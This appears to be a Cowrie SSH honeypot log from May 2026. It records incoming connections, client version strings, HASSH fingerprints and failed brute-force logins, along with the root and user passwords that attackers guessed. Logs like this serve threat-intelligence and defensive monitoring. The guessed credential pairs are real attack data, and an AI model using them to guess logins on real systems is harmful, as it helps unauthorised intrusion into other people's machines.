{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f02df2f08a","protocol":"ssh","message":"New connection: 43.134.104.184:38800 (159.203.135.109:22) [session: 88f02df2f08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:07.407953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:07.413282Z","src_ip":"43.134.104.184","session":"88f02df2f08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:07.663094Z","src_ip":"43.134.104.184","session":"88f02df2f08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"williams1","message":"login attempt [root/williams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:08.647944Z","src_ip":"43.134.104.184","session":"88f02df2f08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:09.889348Z","src_ip":"43.134.104.184","session":"88f02df2f08a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19819,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b72d1edb52","protocol":"ssh","message":"New connection: 2.57.121.25:19819 (10.17.0.5:22) [session: 00b72d1edb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:14.767204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:14.772040Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:14.878028Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16031981","message":"login attempt [user/16031981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:15.373940Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"159753123","message":"login attempt [user/159753123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:16.483253Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"153153","message":"login attempt [user/153153] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:17.591727Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":58132,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cd96dea76e","protocol":"ssh","message":"New connection: 103.243.24.124:58132 (10.17.0.5:22) [session: 71cd96dea76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:18.192900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:18.198921Z","src_ip":"103.243.24.124","session":"71cd96dea76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:18.406507Z","src_ip":"103.243.24.124","session":"71cd96dea76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"151nxjmt","message":"login attempt [user/151nxjmt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:18.699674Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"immortall","message":"login attempt [root/immortall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:18.820592Z","src_ip":"103.243.24.124","session":"71cd96dea76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121994","message":"login attempt [user/15121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:19.809476Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:20.028938Z","src_ip":"103.243.24.124","session":"71cd96dea76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:20.918918Z","src_ip":"2.57.121.25","session":"00b72d1edb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":46744,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e2be4eeb3c","protocol":"ssh","message":"New connection: 185.40.30.168:46744 (10.17.0.5:22) [session: 13e2be4eeb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:35.471493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:35.476568Z","src_ip":"185.40.30.168","session":"13e2be4eeb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:35.602449Z","src_ip":"185.40.30.168","session":"13e2be4eeb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyage","message":"login attempt [root/voyage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:36.125031Z","src_ip":"185.40.30.168","session":"13e2be4eeb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:37.254704Z","src_ip":"185.40.30.168","session":"13e2be4eeb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"da89f14a0b25","protocol":"ssh","message":"New connection: 103.195.236.96:36180 (159.203.135.109:22) [session: da89f14a0b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:43.934182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:43.939186Z","src_ip":"103.195.236.96","session":"da89f14a0b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":45568,"dst_ip":"159.203.135.109","dst_port":22,"session":"adbecd9c3fc7","protocol":"ssh","message":"New connection: 43.134.112.237:45568 (159.203.135.109:22) [session: adbecd9c3fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:43.971267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:43.976488Z","src_ip":"43.134.112.237","session":"adbecd9c3fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:44.179911Z","src_ip":"103.195.236.96","session":"da89f14a0b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:44.234124Z","src_ip":"43.134.112.237","session":"adbecd9c3fc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"224466","message":"login attempt [root/224466] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:44.920193Z","src_ip":"103.195.236.96","session":"da89f14a0b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456","message":"login attempt [root/s123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:45.246313Z","src_ip":"43.134.112.237","session":"adbecd9c3fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":54792,"dst_ip":"10.17.0.5","dst_port":22,"session":"57b58476f962","protocol":"ssh","message":"New connection: 103.96.74.162:54792 (10.17.0.5:22) [session: 57b58476f962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:46.136694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:46.141315Z","src_ip":"103.96.74.162","session":"57b58476f962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:46.169538Z","src_ip":"103.195.236.96","session":"da89f14a0b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:46.417661Z","src_ip":"103.96.74.162","session":"57b58476f962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:46.494679Z","src_ip":"43.134.112.237","session":"adbecd9c3fc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"av123","message":"login attempt [root/av123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:47.138471Z","src_ip":"103.96.74.162","session":"57b58476f962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:48.417910Z","src_ip":"103.96.74.162","session":"57b58476f962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.40374326705933,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:00.288081Z","src_ip":"152.42.224.71","session":"8a3cdb9fb6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58374,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50684d96385","protocol":"ssh","message":"New connection: 103.82.132.16:58374 (159.203.135.109:22) [session: d50684d96385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:00.422535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:00.431563Z","src_ip":"103.82.132.16","session":"d50684d96385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:00.694756Z","src_ip":"103.82.132.16","session":"d50684d96385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amsterdam","message":"login attempt [root/amsterdam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:01.484345Z","src_ip":"103.82.132.16","session":"d50684d96385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:02.753953Z","src_ip":"103.82.132.16","session":"d50684d96385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":58824,"dst_ip":"159.203.135.109","dst_port":22,"session":"97e213b356ac","protocol":"ssh","message":"New connection: 217.154.42.110:58824 (159.203.135.109:22) [session: 97e213b356ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:06.845091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:06.850812Z","src_ip":"217.154.42.110","session":"97e213b356ac","protocol":"ssh"}
